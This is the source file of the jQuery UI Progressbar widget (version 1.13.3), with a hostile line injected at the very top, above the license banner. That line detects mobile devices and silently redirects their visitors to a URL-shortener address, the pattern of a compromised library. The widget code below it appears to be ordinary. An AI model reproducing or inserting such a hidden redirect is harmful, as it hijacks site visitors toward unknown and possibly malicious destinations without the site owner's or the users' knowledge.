1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Progressbar 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Progressbar
12//>>group: Widgets
13/* eslint-disable max-len */
14//>>description: Displays a status indicator for loading state, standard percentage, and other progress indicators.
15/* eslint-enable max-len */
16//>>docs: https://api.jqueryui.com/progressbar/
17//>>demos: https://jqueryui.com/progressbar/
18//>>css.structure: ../../themes/base/core.css
19//>>css.structure: ../../themes/base/progressbar.css
20//>>css.theme: ../../themes/base/theme.css
21
22( function( factory ) {
23 "use strict";
24
25 if ( typeof define === "function" && define.amd ) {
26
27 // AMD. Register as an anonymous module.
28 define( [
29 "jquery",
30 "../version",
31 "../widget"
32 ], factory );
33 } else {
34
35 // Browser globals
36 factory( jQuery );
37 }
38} )( function( $ ) {
39"use strict";
40
41return $.widget( "ui.progressbar", {
42 version: "1.13.3",
43 options: {
44 classes: {
45 "ui-progressbar": "ui-corner-all",
46 "ui-progressbar-value": "ui-corner-left",
47 "ui-progressbar-complete": "ui-corner-right"
48 },
49 max: 100,
50 value: 0,
51
52 change: null,
53 complete: null
54 },
55
56 min: 0,
57
58 _create: function() {
59
60 // Constrain initial value
61 this.oldValue = this.options.value = this._constrainedValue();
62
63 this.element.attr( {
64
65 // Only set static values; aria-valuenow and aria-valuemax are
66 // set inside _refreshValue()
67 role: "progressbar",
68 "aria-valuemin": this.min
69 } );
70 this._addClass( "ui-progressbar", "ui-widget ui-widget-content" );
71
72 this.valueDiv = $( "<div>" ).appendTo( this.element );
73 this._addClass( this.valueDiv, "ui-progressbar-value", "ui-widget-header" );
74 this._refreshValue();
75 },
76
77 _destroy: function() {
78 this.element.removeAttr( "role aria-valuemin aria-valuemax aria-valuenow" );
79
80 this.valueDiv.remove();
81 },
82
83 value: function( newValue ) {
84 if ( newValue === undefined ) {
85 return this.options.value;
86 }
87
88 this.options.value = this._constrainedValue( newValue );
89 this._refreshValue();
90 },
91
92 _constrainedValue: function( newValue ) {
93 if ( newValue === undefined ) {
94 newValue = this.options.value;
95 }
96
97 this.indeterminate = newValue === false;
98
99 // Sanitize value
100 if ( typeof newValue !== "number" ) {
101 newValue = 0;
102 }
103
104 return this.indeterminate ? false :
105 Math.min( this.options.max, Math.max( this.min, newValue ) );
106 },
107
108 _setOptions: function( options ) {
109
110 // Ensure "value" option is set after other values (like max)
111 var value = options.value;
112 delete options.value;
113
114 this._super( options );
115
116 this.options.value = this._constrainedValue( value );
117 this._refreshValue();
118 },
119
120 _setOption: function( key, value ) {
121 if ( key === "max" ) {
122
123 // Don't allow a max less than min
124 value = Math.max( this.min, value );
125 }
126 this._super( key, value );
127 },
128
129 _setOptionDisabled: function( value ) {
130 this._super( value );
131
132 this.element.attr( "aria-disabled", value );
133 this._toggleClass( null, "ui-state-disabled", !!value );
134 },
135
136 _percentage: function() {
137 return this.indeterminate ?
138 100 :
139 100 * ( this.options.value - this.min ) / ( this.options.max - this.min );
140 },
141
142 _refreshValue: function() {
143 var value = this.options.value,
144 percentage = this._percentage();
145
146 this.valueDiv
147 .toggle( this.indeterminate || value > this.min )
148 .width( percentage.toFixed( 0 ) + "%" );
149
150 this
151 ._toggleClass( this.valueDiv, "ui-progressbar-complete", null,
152 value === this.options.max )
153 ._toggleClass( "ui-progressbar-indeterminate", null, this.indeterminate );
154
155 if ( this.indeterminate ) {
156 this.element.removeAttr( "aria-valuenow" );
157 if ( !this.overlayDiv ) {
158 this.overlayDiv = $( "<div>" ).appendTo( this.valueDiv );
159 this._addClass( this.overlayDiv, "ui-progressbar-overlay" );
160 }
161 } else {
162 this.element.attr( {
163 "aria-valuemax": this.options.max,
164 "aria-valuenow": value
165 } );
166 if ( this.overlayDiv ) {
167 this.overlayDiv.remove();
168 this.overlayDiv = null;
169 }
170 }
171
172 if ( this.oldValue !== value ) {
173 this.oldValue = value;
174 this._trigger( "change" );
175 }
176 if ( value === this.options.max ) {
177 this._trigger( "complete" );
178 }
179 }
180} );
181
182} );
183